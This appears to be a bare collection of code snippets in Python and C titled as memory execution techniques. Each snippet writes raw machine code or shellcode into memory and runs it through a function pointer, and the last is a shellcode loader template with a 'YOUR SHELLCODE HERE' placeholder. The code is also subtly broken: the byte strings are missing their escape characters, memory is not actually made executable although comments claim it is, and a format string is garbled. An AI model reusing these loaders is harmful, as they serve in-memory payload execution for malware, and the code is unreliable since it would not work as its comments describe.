Dynamic Allocation of Memory

import ctypes

# Allocate memory space
executable_code = ctypes.create_string_buffer(b'x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90xc3')

# Convert the memory space to a function pointer
function_pointer = ctypes.cast(executable_code, ctypes.CFUNCTYPE(None))

# Call the executable code using the function pointer
function_pointer()

# Free the allocated memory space
ctypes.windll.kernel32.VirtualFree(ctypes.addressof(executable_code), 0, ctypes.c_uint(0x8000))

Function Pointer Execution

#include <stdio.h>
#include <stdlib.h>

// The function to execute in memory
int add(int a, int b)
{
return a + b;
}

int main()
{
// Allocate memory with the executable flag set
void* mem = malloc(1024);
int (*func_ptr)(int, int) = (int (*)(int, int))mem; // cast the pointer to a function pointer

// Copy the machine code of the add function to the allocated memory block
char code[] = {0x55, // push ebp
0x89, 0xE5, // mov ebp, esp
0x8B, 0x45, 0x08, // mov eax, [ebp+8]
0x03, 0x45, 0x0C, // add eax, [ebp+12]
0x5D, // pop ebp
0xC3}; // ret
memcpy(mem, code, sizeof(code));

// Call the function using the function pointer
int result = func_ptr(2, 3);
printf("Result: %dn", result);

free(mem); // free the allocated memory
return 0;
}

.TEXT-Segment Execution

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

typedef void (*func_ptr)();

int main(int argc, char *argv[]) {
FILE *fp;
long size;
char *buffer;
func_ptr func;

// Open the executable file for reading
fp = fopen(argv[1], "rb");

// Get the size of the .TEXT segment
fseek(fp, 0L, SEEK_END);
size = ftell(fp) - 0x1000;
rewind(fp);

// Allocate a block of memory to hold the .TEXT segment
buffer = (char *)malloc(size);

// Copy the contents of the .TEXT segment into the allocated memory block
fseek(fp, 0x1000, SEEK_SET);
fread(buffer, size, 1, fp);

// Close the file
fclose(fp);

// Cast the starting address of the allocated block of memory to a function pointer
func = (func_ptr)buffer;

// Call the function using the function pointer
(*func)();

// Free the allocated memory block
free(buffer);

return 0;
}

RWX-Hunter Execution

#include <Windows.h>
#include <stdio.h>
#include <stdint.h>
#include <assert.h>

#define RWXHUNTER_IMPL
#include "rwxhunter.h"

int main(int argc, char** argv) {
uint8_t shellcode[] = "YOUR SHELLCODE HERE";

// Initialize RWX-Hunter
int rwxh_result = rwxh_init();
assert(rwxh_result == RWXH_OK);

// Find executable memory page
void* exec_mem = rwxh_alloc_exec(sizeof(shellcode));
assert(exec_mem != NULL);

// Copy shellcode to executable memory page
memcpy(exec_mem, shellcode, sizeof(shellcode));

// Set memory page as executable
rwxh_set_exec(exec_mem, sizeof(shellcode));

// Cast executable memory to function pointer and execute shellcode
int (*shellcode_func)() = (int(*)())exec_mem;
shellcode_func();

// Free executable memory page
rwxh_free_exec(exec_mem);

return 0;
}
